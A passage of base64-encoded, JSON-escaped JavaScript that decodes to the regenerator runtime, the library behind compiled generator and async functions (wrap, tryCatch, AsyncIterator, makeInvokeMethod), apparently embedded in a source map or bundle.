iAgICAgIG1vZHVsZS5leHBvcnRzID0gcnVudGltZTtcbiAgICB9XG4gICAgLy8gRG9uJ3QgYm90aGVyIGV2YWx1YXRpbmcgdGhlIHJlc3Qgb2YgdGhpcyBmaWxlIGlmIHRoZSBydW50aW1lIHdhc1xuICAgIC8vIGFscmVhZHkgZGVmaW5lZCBnbG9iYWxseS5cbiAgICByZXR1cm47XG4gIH1cblxuICAvLyBEZWZpbmUgdGhlIHJ1bnRpbWUgZ2xvYmFsbHkgKGFzIGV4cGVjdGVkIGJ5IGdlbmVyYXRlZCBjb2RlKSBhcyBlaXRoZXJcbiAgLy8gbW9kdWxlLmV4cG9ydHMgKGlmIHdlJ3JlIGluIGEgbW9kdWxlKSBvciBhIG5ldywgZW1wdHkgb2JqZWN0LlxuICBydW50aW1lID0gZ2xvYmFsLnJlZ2VuZXJhdG9yUnVudGltZSA9IGluTW9kdWxlID8gbW9kdWxlLmV4cG9ydHMgOiB7fTtcblxuICBmdW5jdGlvbiB3cmFwKGlubmVyRm4sIG91dGVyRm4sIHNlbGYsIHRyeUxvY3NMaXN0KSB7XG4gICAgLy8gSWYgb3V0ZXJGbiBwcm92aWRlZCBhbmQgb3V0ZXJGbi5wcm90b3R5cGUgaXMgYSBHZW5lcmF0b3IsIHRoZW4gb3V0ZXJGbi5wcm90b3R5cGUgaW5zdGFuY2VvZiBHZW5lcmF0b3IuXG4gICAgdmFyIHByb3RvR2VuZXJhdG9yID0gb3V0ZXJGbiAmJiBvdXRlckZuLnByb3RvdHlwZSBpbnN0YW5jZW9mIEdlbmVyYXRvciA/IG91dGVyRm4gOiBHZW5lcmF0b3I7XG4gICAgdmFyIGdlbmVyYXRvciA9IE9iamVjdC5jcmVhdGUocHJvdG9HZW5lcmF0b3IucHJvdG90eXBlKTtcbiAgICB2YXIgY29udGV4dCA9IG5ldyBDb250ZXh0KHRyeUxvY3NMaXN0IHx8IFtdKTtcblxuICAgIC8vIFRoZSAuX2ludm9rZSBtZXRob2QgdW5pZmllcyB0aGUgaW1wbGVtZW50YXRpb25zIG9mIHRoZSAubmV4dCxcbiAgICAvLyAudGhyb3csIGFuZCAucmV0dXJuIG1ldGhvZHMuXG4gICAgZ2VuZXJhdG9yLl9pbnZva2UgPSBtYWtlSW52b2tlTWV0aG9kKGlubmVyRm4sIHNlbGYsIGNvbnRleHQpO1xuXG4gICAgcmV0dXJuIGdlbmVyYXRvcjtcbiAgfVxuICBydW50aW1lLndyYXAgPSB3cmFwO1xuXG4gIC8vIFRyeS9jYXRjaCBoZWxwZXIgdG8gbWluaW1pemUgZGVvcHRpbWl6YXRpb25zLiBSZXR1cm5zIGEgY29tcGxldGlvblxuICAvLyByZWNvcmQgbGlrZSBjb250ZXh0LnRyeUVudHJpZXNbaV0uY29tcGxldGlvbi4gVGhpcyBpbnRlcmZhY2UgY291bGRcbiAgLy8gaGF2ZSBiZWVuIChhbmQgd2FzIHByZXZpb3VzbHkpIGRlc2lnbmVkIHRvIHRha2UgYSBjbG9zdXJlIHRvIGJlXG4gIC8vIGludm9rZWQgd2l0aG91dCBhcmd1bWVudHMsIGJ1dCBpbiBhbGwgdGhlIGNhc2VzIHdlIGNhcmUgYWJvdXQgd2VcbiAgLy8gYWxyZWFkeSBoYXZlIGFuIGV4aXN0aW5nIG1ldGhvZCB3ZSB3YW50IHRvIGNhbGwsIHNvIHRoZXJlJ3Mgbm8gbmVlZFxuICAvLyB0byBjcmVhdGUgYSBuZXcgZnVuY3Rpb24gb2JqZWN0LiBXZSBjYW4gZXZlbiBnZXQgYXdheSB3aXRoIGFzc3VtaW5nXG4gIC8vIHRoZSBtZXRob2QgdGFrZXMgZXhhY3RseSBvbmUgYXJndW1lbnQsIHNpbmNlIHRoYXQgaGFwcGVucyB0byBiZSB0cnVlXG4gIC8vIGluIGV2ZXJ5IGNhc2UsIHNvIHdlIGRvbid0IGhhdmUgdG8gdG91Y2ggdGhlIGFyZ3VtZW50cyBvYmplY3QuIFRoZVxuICAvLyBvbmx5IGFkZGl0aW9uYWwgYWxsb2NhdGlvbiByZXF1aXJlZCBpcyB0aGUgY29tcGxldGlvbiByZWNvcmQsIHdoaWNoXG4gIC8vIGhhcyBhIHN0YWJsZSBzaGFwZSBhbmQgc28gaG9wZWZ1bGx5IHNob3VsZCBiZSBjaGVhcCB0byBhbGxvY2F0ZS5cbiAgZnVuY3Rpb24gdHJ5Q2F0Y2goZm4sIG9iaiwgYXJnKSB7XG4gICAgdHJ5IHtcbiAgICAgIHJldHVybiB7IHR5cGU6IFwibm9ybWFsXCIsIGFyZzogZm4uY2FsbChvYmosIGFyZykgfTtcbiAgICB9IGNhdGNoIChlcnIpIHtcbiAgICAgIHJldHVybiB7IHR5cGU6IFwidGhyb3dcIiwgYXJnOiBlcnIgfTtcbiAgICB9XG4gIH1cblxuICB2YXIgR2VuU3RhdGVTdXNwZW5kZWRTdGFydCA9IFwic3VzcGVuZGVkU3RhcnRcIjtcbiAgdmFyIEdlblN0YXRlU3VzcGVuZGVkWWllbGQgPSBcInN1c3BlbmRlZFlpZWxkXCI7XG4gIHZhciBHZW5TdGF0ZUV4ZWN1dGluZyA9IFwiZXhlY3V0aW5nXCI7XG4gIHZhciBHZW5TdGF0ZUNvbXBsZXRlZCA9IFwiY29tcGxldGVkXCI7XG5cbiAgLy8gUmV0dXJuaW5nIHRoaXMgb2JqZWN0IGZyb20gdGhlIGlubmVyRm4gaGFzIHRoZSBzYW1lIGVmZmVjdCBhc1xuICAvLyBicmVha2luZyBvdXQgb2YgdGhlIGRpc3BhdGNoIHN3aXRjaCBzdGF0ZW1lbnQuXG4gIHZhciBDb250aW51ZVNlbnRpbmVsID0ge307XG5cbiAgLy8gRHVtbXkgY29uc3RydWN0b3IgZnVuY3Rpb25zIHRoYXQgd2UgdXNlIGFzIHRoZSAuY29uc3RydWN0b3IgYW5kXG4gIC8vIC5jb25zdHJ1Y3Rvci5wcm90b3R5cGUgcHJvcGVydGllcyBmb3IgZnVuY3Rpb25zIHRoYXQgcmV0dXJuIEdlbmVyYXRvclxuICAvLyBvYmplY3RzLiBGb3IgZnVsbCBzcGVjIGNvbXBsaWFuY2UsIHlvdSBtYXkgd2lzaCB0byBjb25maWd1cmUgeW91clxuICAvLyBtaW5pZmllciBub3QgdG8gbWFuZ2xlIHRoZSBuYW1lcyBvZiB0aGVzZSB0d28gZnVuY3Rpb25zLlxuICBmdW5jdGlvbiBHZW5lcmF0b3IoKSB7fVxuICBmdW5jdGlvbiBHZW5lcmF0b3JGdW5jdGlvbigpIHt9XG4gIGZ1bmN0aW9uIEdlbmVyYXRvckZ1bmN0aW9uUHJvdG90eXBlKCkge31cblxuICAvLyBUaGlzIGlzIGEgcG9seWZpbGwgZm9yICVJdGVyYXRvclByb3RvdHlwZSUgZm9yIGVudmlyb25tZW50cyB0aGF0XG4gIC8vIGRvbid0IG5hdGl2ZWx5IHN1cHBvcnQgaXQuXG4gIHZhciBJdGVyYXRvclByb3RvdHlwZSA9IHt9O1xuICBJdGVyYXRvclByb3RvdHlwZVtpdGVyYXRvclN5bWJvbF0gPSBmdW5jdGlvbiAoKSB7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG5cbiAgdmFyIGdldFByb3RvID0gT2JqZWN0LmdldFByb3RvdHlwZU9mO1xuICB2YXIgTmF0aXZlSXRlcmF0b3JQcm90b3R5cGUgPSBnZXRQcm90byAmJiBnZXRQcm90byhnZXRQcm90byh2YWx1ZXMoW10pKSk7XG4gIGlmIChOYXRpdmVJdGVyYXRvclByb3RvdHlwZSAmJlxuICAgICAgTmF0aXZlSXRlcmF0b3JQcm90b3R5cGUgIT09IE9wICYmXG4gICAgICBoYXNPd24uY2FsbChOYXRpdmVJdGVyYXRvclByb3RvdHlwZSwgaXRlcmF0b3JTeW1ib2wpKSB7XG4gICAgLy8gVGhpcyBlbnZpcm9ubWVudCBoYXMgYSBuYXRpdmUgJUl0ZXJhdG9yUHJvdG90eXBlJTsgdXNlIGl0IGluc3RlYWRcbiAgICAvLyBvZiB0aGUgcG9seWZpbGwuXG4gICAgSXRlcmF0b3JQcm90b3R5cGUgPSBOYXRpdmVJdGVyYXRvclByb3RvdHlwZTtcbiAgfVxuXG4gIHZhciBHcCA9IEdlbmVyYXRvckZ1bmN0aW9uUHJvdG90eXBlLnByb3RvdHlwZSA9XG4gICAgR2VuZXJhdG9yLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoSXRlcmF0b3JQcm90b3R5cGUpO1xuICBHZW5lcmF0b3JGdW5jdGlvbi5wcm90b3R5cGUgPSBHcC5jb25zdHJ1Y3RvciA9IEdlbmVyYXRvckZ1bmN0aW9uUHJvdG90eXBlO1xuICBHZW5lcmF0b3JGdW5jdGlvblByb3RvdHlwZS5jb25zdHJ1Y3RvciA9IEdlbmVyYXRvckZ1bmN0aW9uO1xuICBHZW5lcmF0b3JGdW5jdGlvblByb3RvdHlwZVt0b1N0cmluZ1RhZ1N5bWJvbF0gPVxuICAgIEdlbmVyYXRvckZ1bmN0aW9uLmRpc3BsYXlOYW1lID0gXCJHZW5lcmF0b3JGdW5jdGlvblwiO1xuXG4gIC8vIEhlbHBlciBmb3IgZGVmaW5pbmcgdGhlIC5uZXh0LCAudGhyb3csIGFuZCAucmV0dXJuIG1ldGhvZHMgb2YgdGhlXG4gIC8vIEl0ZXJhdG9yIGludGVyZmFjZSBpbiB0ZXJtcyBvZiBhIHNpbmdsZSAuX2ludm9rZSBtZXRob2QuXG4gIGZ1bmN0aW9uIGRlZmluZUl0ZXJhdG9yTWV0aG9kcyhwcm90b3R5cGUpIHtcbiAgICBbXCJuZXh0XCIsIFwidGhyb3dcIiwgXCJyZXR1cm5cIl0uZm9yRWFjaChmdW5jdGlvbihtZXRob2QpIHtcbiAgICAgIHByb3RvdHlwZVttZXRob2RdID0gZnVuY3Rpb24oYXJnKSB7XG4gICAgICAgIHJldHVybiB0aGlzLl9pbnZva2UobWV0aG9kLCBhcmcpO1xuICAgICAgfTtcbiAgICB9KTtcbiAgfVxuXG4gIHJ1bnRpbWUuaXNHZW5lcmF0b3JGdW5jdGlvbiA9IGZ1bmN0aW9uKGdlbkZ1bikge1xuICAgIHZhciBjdG9yID0gdHlwZW9mIGdlbkZ1biA9PT0gXCJmdW5jdGlvblwiICYmIGdlbkZ1bi5jb25zdHJ1Y3RvcjtcbiAgICByZXR1cm4gY3RvclxuICAgICAgPyBjdG9yID09PSBHZW5lcmF0b3JGdW5jdGlvbiB8fFxuICAgICAgICAvLyBGb3IgdGhlIG5hdGl2ZSBHZW5lcmF0b3JGdW5jdGlvbiBjb25zdHJ1Y3RvciwgdGhlIGJlc3Qgd2UgY2FuXG4gICAgICAgIC8vIGRvIGlzIHRvIGNoZWNrIGl0cyAubmFtZSBwcm9wZXJ0eS5cbiAgICAgICAgKGN0b3IuZGlzcGxheU5hbWUgfHwgY3Rvci5uYW1lKSA9PT0gXCJHZW5lcmF0b3JGdW5jdGlvblwiXG4gICAgICA6IGZhbHNlO1xuICB9O1xuXG4gIHJ1bnRpbWUubWFyayA9IGZ1bmN0aW9uKGdlbkZ1bikge1xuICAgIGlmIChPYmplY3Quc2V0UHJvdG90eXBlT2YpIHtcbiAgICAgIE9iamVjdC5zZXRQcm90b3R5cGVPZihnZW5GdW4sIEdlbmVyYXRvckZ1bmN0aW9uUHJvdG90eXBlKTtcbiAgICB9IGVsc2Uge1xuICAgICAgZ2VuRnVuLl9fcHJvdG9fXyA9IEdlbmVyYXRvckZ1bmN0aW9uUHJvdG90eXBlO1xuICAgICAgaWYgKCEodG9TdHJpbmdUYWdTeW1ib2wgaW4gZ2VuRnVuKSkge1xuICAgICAgICBnZW5GdW5bdG9TdHJpbmdUYWdTeW1ib2xdID0gXCJHZW5lcmF0b3JGdW5jdGlvblwiO1xuICAgICAgfVxuICAgIH1cbiAgICBnZW5GdW4ucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShHcCk7XG4gICAgcmV0dXJuIGdlbkZ1bjtcbiAgfTtcblxuICAvLyBXaXRoaW4gdGhlIGJvZHkgb2YgYW55IGFzeW5jIGZ1bmN0aW9uLCBgYXdhaXQgeGAgaXMgdHJhbnNmb3JtZWQgdG9cbiAgLy8gYHlpZWxkIHJlZ2VuZXJhdG9yUnVudGltZS5hd3JhcCh4KWAsIHNvIHRoYXQgdGhlIHJ1bnRpbWUgY2FuIHRlc3RcbiAgLy8gYGhhc093bi5jYWxsKHZhbHVlLCBcIl9fYXdhaXRcIilgIHRvIGRldGVybWluZSBpZiB0aGUgeWllbGRlZCB2YWx1ZSBpc1xuICAvLyBtZWFudCB0byBiZSBhd2FpdGVkLlxuICBydW50aW1lLmF3cmFwID0gZnVuY3Rpb24oYXJnKSB7XG4gICAgcmV0dXJuIHsgX19hd2FpdDogYXJnIH07XG4gIH07XG5cbiAgZnVuY3Rpb24gQXN5bmNJdGVyYXRvcihnZW5lcmF0b3IpIHtcbiAgICBmdW5jdGlvbiBpbnZva2UobWV0aG9kLCBhcmcsIHJlc29sdmUsIHJlamVjdCkge1xuICAgICAgdmFyIHJlY29yZCA9IHRyeUNhdGNoKGdlbmVyYXRvclttZXRob2RdLCBnZW5lcmF0b3IsIGFyZyk7XG4gICAgICBpZiAocmVjb3JkLnR5cGUgPT09IFwidGhyb3dcIikge1xuICAgICAgICByZWplY3QocmVjb3JkLmFyZyk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB2YXIgcmVzdWx0ID0gcmVjb3JkLmFyZztcbiAgICAgICAgdmFyIHZhbHVlID0gcmVzdWx0LnZhbHVlO1xuICAgICAgICBpZiAodmFsdWUgJiZcbiAgICAgICAgICAgIHR5cGVvZiB2YWx1ZSA9PT0gXCJvYmplY3RcIiAmJlxuICAgICAgICAgICAgaGFzT3duLmNhbGwodmFsdWUsIFwiX19hd2FpdFwiKSkge1xuICAgICAgICAgIHJldHVybiBQcm9taXNlLnJlc29sdmUodmFsdWUuX19hd2FpdCkudGhlbihmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgICAgICAgaW52b2tlKFwibmV4dFwiLCB2YWx1ZSwgcmVzb2x2ZSwgcmVqZWN0KTtcbiAgICAgICAgICB9LCBmdW5jdGlvbihlcnIpIHtcbiAgICAgICAgICAgIGludm9rZShcInRocm93XCIsIGVyciwgcmVzb2x2ZSwgcmVqZWN0KTtcbiAgICAgICAgICB9KTtcbiAgICAgICAgfVxuXG4gICAgICAgIHJldHVybiBQcm9taXNlLnJlc29sdmUodmFsdWUpLnRoZW4oZnVuY3Rpb24odW53cmFwcGVkKSB7XG4gICAgICAgICAgLy8gV2hlbiBhIHlpZWxkZWQgUHJvbWlzZSBpcyByZXNvbHZlZCwgaXRzIGZpbmFsIHZhbHVlIGJlY29tZXNcbiAgICAgICAgICAvLyB0aGUgLnZhbHVlIG9mIHRoZSBQcm9taXNlPHt2YWx1ZSxkb25lfT4gcmVzdWx0IGZvciB0aGVcbiAgICAgICAgICAvLyBjdXJyZW50IGl0ZXJhdGlvbi4gSWYgdGhlIFByb21pc2UgaXMgcmVqZWN0ZWQsIGhvd2V2ZXIsIHRoZVxuICAgICAgICAgIC8vIHJlc3VsdCBmb3IgdGhpcyBpdGVyYXRpb24gd2lsbCBiZSByZWplY3RlZCB3aXRoIHRoZSBzYW1lXG4gICAgICAgICAgLy8gcmVhc29uLiBOb3RlIHRoYXQgcmVqZWN0aW9ucyBvZiB5aWVsZGVkIFByb21pc2VzIGFyZSBub3RcbiAgICAgICAgICAvLyB0aHJvd24gYmFjayBpbnRvIHRoZSBnZW5lcmF0b3IgZnVuY3Rpb24sIGFzIGlzIHRoZSBjYXNlXG4gICAgICAgICAgLy8gd2hlbiBhbiBhd2FpdGVkIFByb21pc2UgaXMgcmVqZWN0ZWQuIFRoaXMgZGlmZmVyZW5jZSBpblxuICAgICAgICAgIC8vIGJlaGF2aW9yIGJldHdlZW4geWllbGQgYW5kIGF3YWl0IGlzIGltcG9ydGFudCwgYmVjYXVzZSBpdFxuICAgICAgICAgIC8vIGFsbG93cyB0aGUgY29uc3VtZXIgdG8gZGVjaWRlIHdoYXQgdG8gZG8gd2l0aCB0aGUgeWllbGRlZFxuICAgICAgICAgIC8vIHJlamVjdGlvbiAoc3dhbGxvdyBpdCBhbmQgY29udGludWUsIG1hbnVhbGx5IC50aHJvdyBpdCBiYWNrXG4gICAgICAgICAgLy8gaW50byB0aGUgZ2VuZXJhdG9yLCBhYmFuZG9uIGl0ZXJhdGlvbiwgd2hhdGV2ZXIpLiBXaXRoXG4gICAgICAgICAgLy8gYXdhaXQsIGJ5IGNvbnRyYXN0LCB0aGVyZSBpcyBubyBvcHBvcnR1bml0eSB0byBleGFtaW5lIHRoZVxuICAgICAgICAgIC8vIHJlamVjdGlvbiByZWFzb24gb3V0c2lkZSB0aGUgZ2VuZXJhdG9yIGZ1bmN0aW9uLCBzbyB0aGVcbiAgICAgICAgICAvLyBvbmx5IG9wdGlvbiBpcyB0byB0aHJvdyBpdCBmcm9tIHRoZSBhd2FpdCBleHByZXNzaW9uLCBhbmRcbiAgICAgICAgICAvLyBsZXQgdGhlIGdlbmVyYXRvciBmdW5jdGlvbiBoYW5kbGUgdGhlIGV4Y2VwdGlvbi5cbiAgICAgICAgICByZXN1bHQudmFsdWUgPSB1bndyYXBwZWQ7XG4gICAgICAgICAgcmVzb2x2ZShyZXN1bHQpO1xuICAgICAgICB9LCByZWplY3QpO1xuICAgICAgfVxuICAgIH1cblxuICAgIHZhciBwcmV2aW91c1Byb21pc2U7XG5cbiAgICBmdW5jdGlvbiBlbnF1ZXVlKG1ldGhvZCwgYXJnKSB7XG4gICAgICBmdW5jdGlvbiBjYWxsSW52b2tlV2l0aE1ldGhvZEFuZEFyZygpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBQcm9taXNlKGZ1bmN0aW9uKHJlc29sdmUsIHJlamVjdCkge1xuICAgICAgICAgIGludm9rZShtZXRob2QsIGFyZywgcmVzb2x2ZSwgcmVqZWN0KTtcbiAgICAgICAgfSk7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBwcmV2aW91c1Byb21pc2UgPVxuICAgICAgICAvLyBJZiBlbnF1ZXVlIGhhcyBiZWVuIGNhbGxlZCBiZWZvcmUsIHRoZW4gd2Ugd2FudCB0byB3YWl0IHVudGlsXG4gICAgICAgIC8vIGFsbCBwcmV2aW91cyBQcm9taXNlcyBoYXZlIGJlZW4gcmVzb2x2ZWQgYmVmb3JlIGNhbGxpbmcgaW52b2tlLFxuICAgICAgICAvLyBzbyB0aGF0IHJlc3VsdHMgYXJlIGFsd2F5cyBkZWxpdmVyZWQgaW4gdGhlIGNvcnJlY3Qgb3JkZXIuIElmXG4gICAgICAgIC8vIGVucXVldWUgaGFzIG5vdCBiZWVuIGNhbGxlZCBiZWZvcmUsIHRoZW4gaXQgaXMgaW1wb3J0YW50IHRvXG4gICAgICAgIC8vIGNhbGwgaW52b2tlIGltbWVkaWF0ZWx5LCB3aXRob3V0IHdhaXRpbmcgb24gYSBjYWxsYmFjayB0byBmaXJlLFxuICAgICAgICAvLyBzbyB0aGF0IHRoZSBhc3luYyBnZW5lcmF0b3IgZnVuY3Rpb24gaGFzIHRoZSBvcHBvcnR1bml0eSB0byBkb1xuICAgICAgICAvLyBhbnkgbmVjZXNzYXJ5IHNldHVwIGluIGEgcHJlZGljdGFibGUgd2F5LiBUaGlzIHByZWRpY3RhYmlsaXR5XG4gICAgICAgIC8vIGlzIHdoeSB0aGUgUHJvbWlzZSBjb25zdHJ1Y3RvciBzeW5jaHJvbm91c2x5IGludm9rZXMgaXRzXG4gICAgICAgIC8vIGV4ZWN1dG9yIGNhbGxiYWNrLCBhbmQgd2h5IGFzeW5jIGZ1bmN0aW9ucyBzeW5jaHJvbm91c2x5XG4gICAgICAgIC8vIGV4ZWN1dGUgY29kZSBiZWZvcmUgdGhlIGZpcnN0IGF3YWl0LiBTaW5jZSB3ZSBpbXBsZW1lbnQgc2ltcGxlXG4gICAgICAgIC8vIGFzeW5jIGZ1bmN0aW9ucyBpbiB0ZXJtcyBvZiBhc3luYyBnZW5lcmF0b3JzLCBpdCBpcyBlc3BlY2lhbGx5XG4gICAgICAgIC8vIGltcG9ydGFudCB0byBnZXQgdGhpcyByaWdodCwgZXZlbiB0aG91Z2ggaXQgcmVxdWlyZXMgY2FyZS5cbiAgICAgICAgcHJldmlvdXNQcm9taXNlID8gcHJldmlvdXNQcm9taXNlLnRoZW4oXG4gICAgICAgICAgY2FsbEludm9rZVdpdGhNZXRob2RBbmRBcmcsXG4gICAgICAgICAgLy8gQXZvaWQgcHJvcGFnYXRpbmcgZmFpbHVyZXMgdG8gUHJvbWlzZXMgcmV0dXJuZWQgYnkgbGF0ZXJcbiAgICAgICAgICAvLyBpbnZvY2F0aW9ucyBvZiB0aGUgaXRlcmF0b3IuXG4gICAgICAgICAgY2FsbEludm9rZVdpdGhNZXRob2RBbmRBcmdcbiAgICAgICAgKSA6IGNhbGxJbnZva2VXaXRoTWV0aG9kQW5kQXJnKCk7XG4gICAgfVxuXG4gICAgLy8gRGVmaW5lIHRoZSB1bmlmaWVkIGhlbHBlciBtZXRob2QgdGhhdCBpcyB1c2VkIHRvIGltcGxlbWVudCAubmV4dCxcbiAgICAvLyAudGhyb3csIGFuZCAucmV0dXJuIChzZWUgZGVmaW5lSXRlcmF0b3JNZXRob2RzKS5cbiAgICB0aGlzLl9pbnZva2UgPSBlbnF1ZXVlO1xuICB9XG5cbiAgZGVmaW5lSXRlcmF0b3JNZXRob2RzKEFzeW5jSXRlcmF0b3IucHJvdG90eXBlKTtcbiAgQXN5bmNJdGVyYXRvci5wcm90b3R5cGVbYXN5bmNJdGVyYXRvclN5bWJvbF0gPSBmdW5jdGlvbiAoKSB7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG4gIHJ1bnRpbWUuQXN5bmNJdGVyYXRvciA9IEFzeW5jSXRlcmF0b3I7XG5cbiAgLy8gTm90ZSB0aGF0IHNpbXBsZSBhc3luYyBmdW5jdGlvbnMgYXJlIGltcGxlbWVudGVkIG9uIHRvcCBvZlxuICAvLyBBc3luY0l0ZXJhdG9yIG9iamVjdHM7IHRoZXkganVzdCByZXR1cm4gYSBQcm9taXNlIGZvciB0aGUgdmFsdWUgb2ZcbiAgLy8gdGhlIGZpbmFsIHJlc3VsdCBwcm9kdWNlZCBieSB0aGUgaXRlcmF0b3IuXG4gIHJ1bnRpbWUuYXN5bmMgPSBmdW5jdGlvbihpbm5lckZuLCBvdXRlckZuLCBzZWxmLCB0cnlMb2NzTGlzdCkge1xuICAgIHZhciBpdGVyID0gbmV3IEFzeW5jSXRlcmF0b3IoXG4gICAgICB3cmFwKGlubmVyRm4sIG91dGVyRm4sIHNlbGYsIHRyeUxvY3NMaXN0KVxuICAgICk7XG5cbiAgICByZXR1cm4gcnVudGltZS5pc0dlbmVyYXRvckZ1bmN0aW9uKG91dGVyRm4pXG4gICAgICA/IGl0ZXIgLy8gSWYgb3V0ZXJGbiBpcyBhIGdlbmVyYXRvciwgcmV0dXJuIHRoZSBmdWxsIGl0ZXJhdG9yLlxuICAgICAgOiBpdGVyLm5leHQoKS50aGVuKGZ1bmN0aW9uKHJlc3VsdCkge1xuICAgICAgICAgIHJldHVybiByZXN1bHQuZG9uZSA/IHJlc3VsdC52YWx1ZSA6IGl0ZXIubmV4dCgpO1xuICAgICAgICB9KTtcbiAgfTtcblxuICBmdW5jdGlvbiBtYWtlSW52b2tlTWV0aG9kKGlubmVyRm4sIHNlbGYsIGNvbnRleHQpIHtcbiAgICB2YXIgc3RhdGUgPSBHZW5TdGF0ZVN1c3BlbmRlZFN0YXJ0O1xuXG4gICAgcmV0dXJuIGZ1bmN0aW9uIGludm9rZShtZXRob2QsIGFyZykge1xuICAgICAgaWYgKHN0YXRlID09PSBHZW5TdGF0ZUV4ZWN1dGluZykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoXCJHZW5lcmF0b3IgaXMgYWxyZWFkeSBydW5uaW5nXCIpO1xuICAgICAgfVxuXG4gICAgICBpZiAoc3RhdGUgPT09IEdlblN0YXRlQ29tcGxldGVkKSB7XG4gICAgICAgIGlmIChtZXRob2QgPT09IFwidGhyb3dcIikge1xuICAgICAgICAgIHRocm93IGFyZztcbiAgICAgICAgfVxuXG4gICAgICAgIC8vIEJlIGZvcmdpdmluZywgcGVyIDI1LjMuMy4zLjMgb2YgdGhlIHNwZWM6XG4gICAgICAgIC8vIGh0dHBzOi8vcGVvcGxlLm1vemlsbGEub3JnL35qb3JlbmRvcmZmL2VzNi1kcmFmdC5odG1sI3NlYy1nZW5lcmF0b3JyZXN1bWVcbiAgICAgICAgcmV0dXJuIGRvbmVSZXN1bHQoKTtcbiAgICAgIH1cblxuICAgICAgY29udGV4dC5tZXRob2QgPSBtZXRob2Q7XG4gICAgICBjb250ZXh0LmFyZyA9IGFyZztcblxuICAgICAgd2hpbGUgKHRydWUpIHtcbiAgICAgICAgdmFyIGRlbGVnYXRlID0gY29udGV4dC5kZWxlZ2F0ZTtcbiAgICAgICAgaWYgKGRlbGVnYXRlKSB7XG4gICAgICAgICAgdmFyIGRlbGVnYXRlUmVzdWx0ID0gbWF5YmVJbnZva2VEZWxlZ2F0ZShkZWxlZ2F0ZSwgY29udGV4dCk7XG4gICAgICAgICAgaWYgKGRlbGVnYXRlUmVzdWx0KSB7XG4gICAgICAgICAgICBpZiAoZGVsZWdhdGVSZXN1bHQgPT09IENvbnRpbnVlU2VudGluZWwpIGNvbnRpbnVlO1xuICAgICAgICAgICAgcmV0dXJuIGRlbGVnYXRlUmVzdWx0O1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmIChjb250ZXh0Lm1ldGhvZCA9PT0gXCJuZXh0XCIpIHtcbiAgICAgICAgICAvLyBTZXR0aW5nIGNvbnRleHQuX3NlbnQgZm9yIGxlZ2FjeSBzdXBwb3J0IG9mIEJhYmVsJ3NcbiAgICAgICAgICAvLyBmdW5jdGlvbi5zZW50IGltcGxlbWVudGF0aW9uLlxuICAgICAgICAgIGNvbnRleHQuc2VudCA9IGNvbnRleHQuX3NlbnQgPSBjb250ZXh0LmFyZztcblxuICAgICAgICB9IGVsc2UgaWYgKGNvbnRleHQubWV0aG9kID09PSBcInRocm93XCIpIHtcbiAgICAgICAgICBpZiAoc3RhdGUgPT09IEdlblN0YXRlU3VzcGVuZGVkU3RhcnQpIHtcbiAgICAgICAgICAgIHN0YXRlID0gR2VuU3RhdGVDb21wbGV0ZWQ7XG4gICAgICAgICAgICB0aHJvdyBjb250ZXh0LmFyZztcbiAgICAgICAgICB9XG5cbiAgICAgICAgICBjb250ZXh0LmRpc3BhdGNoRXhjZXB0aW9uKGNvbnRleHQuYXJnKTtcblxuICAgICAgICB9IGVsc2UgaWYgKGNvbnRleHQubWV0aG9kID09PSBcInJldHVyblwiKSB7XG4gICAgICAgICAgY29udGV4dC5hYnJ1cHQoXCJyZXR1cm5cIiwgY29udGV4dC5hcmcpO1xuICAgICAgICB9XG5cbiAgICAgICAgc3RhdGUgPSBHZW5TdGF0ZUV4ZWN1dGluZztcblxuICAgICAgICB2YXIgcmVjb3JkID0gdHJ5Q2F0Y2goaW5uZXJGbiwgc2VsZiwgY29udGV4dCk7XG4gICAgICAgIGlmIChyZWNvcmQudHlwZSA9PT0gXCJub3JtYWxcIikge1xuICAgICAgICAgIC8vIElmIGFuIGV4Y2VwdGlvbiBpcyB0aHJvd24gZnJvbSBpbm5lckZuLCB3ZSBsZWF2ZSBzdGF0ZSA9PT1cbiAgICAgICAgICAvLyBHZW5TdGF0ZUV4ZWN1dGluZyBhbmQgbG9vcCBiYWNrIGZvciBhbm90aGVyIGludm9jYXRpb24uXG4gICAgICAgICAgc3RhdGUgPSBjb250ZXh0LmRvbmVcbiAgICAgICAgICAgID8gR2VuU3RhdGVDb21wbGV0ZWRcbiAgICAgICAgICAgIDogR2VuU3RhdGVTdXNwZW5kZWRZaWVsZDtcblxuICAgICAgICAgIGlmIChyZWNvcmQuYXJnID09PSBDb250aW51ZVNlbnRpbmVsKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgICB9XG5cbiAgICAgICAgICByZXR1cm4ge1xuICAgICAgICAgICAgdmFsdWU6IHJlY29yZC5hcmcsXG4gICAgICAgICAgICBkb25lOiBjb250ZXh0LmRvbmVcbiAgICAgICAgICB9O1xuXG4gICAgICAgIH0gZWxzZSBpZiAocmVjb3JkLnR5cGUgPT09IFwidGhyb3dcIikge1xuICAgICAgICAgIHN0YXRlID0gR2VuU3RhdGVDb21wbGV0ZWQ7XG4gICAgICAgICAgLy8gRGlzcGF0Y2ggdGhlIGV4Y2VwdGlvbiBieSBsb29waW5nIGJhY2sgYXJvdW5kIHRvIHRoZVxuICAgICAgICAgIC8vIGNvbnRleHQuZGlzcGF0Y2hFeGNlcHRpb24oY29udGV4dC5hcmcpIGNhbGwgYWJvdmUuXG4gICAgICAgICAgY29udGV4dC5tZXRob2QgPSBcInRocm93XCI7XG4gICAgICAgICAgY29udGV4dC5hcmcgPSByZWNvcmQuYXJnO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfTtcbiAgfVxuXG4gIC8vIENhbGwgZGVsZWdhdGUuaXRlcmF0b3JbY29udGV4dC5tZXRob2RdKGNvbnRleHQuYXJnKSBhbmQgaGFuZGxlIHRoZVxuICAvLyByZXN1bHQsIGVpdGhlciBieSByZXR1cm5pbmcgYSB7IHZhbHVlLCBkb25lIH0gcmVzdWx0IGZyb20gdGhlXG4gIC8vIGRlbGVnYXRlIGl0ZXJhdG9yLCBvciBieSBtb2RpZnlpb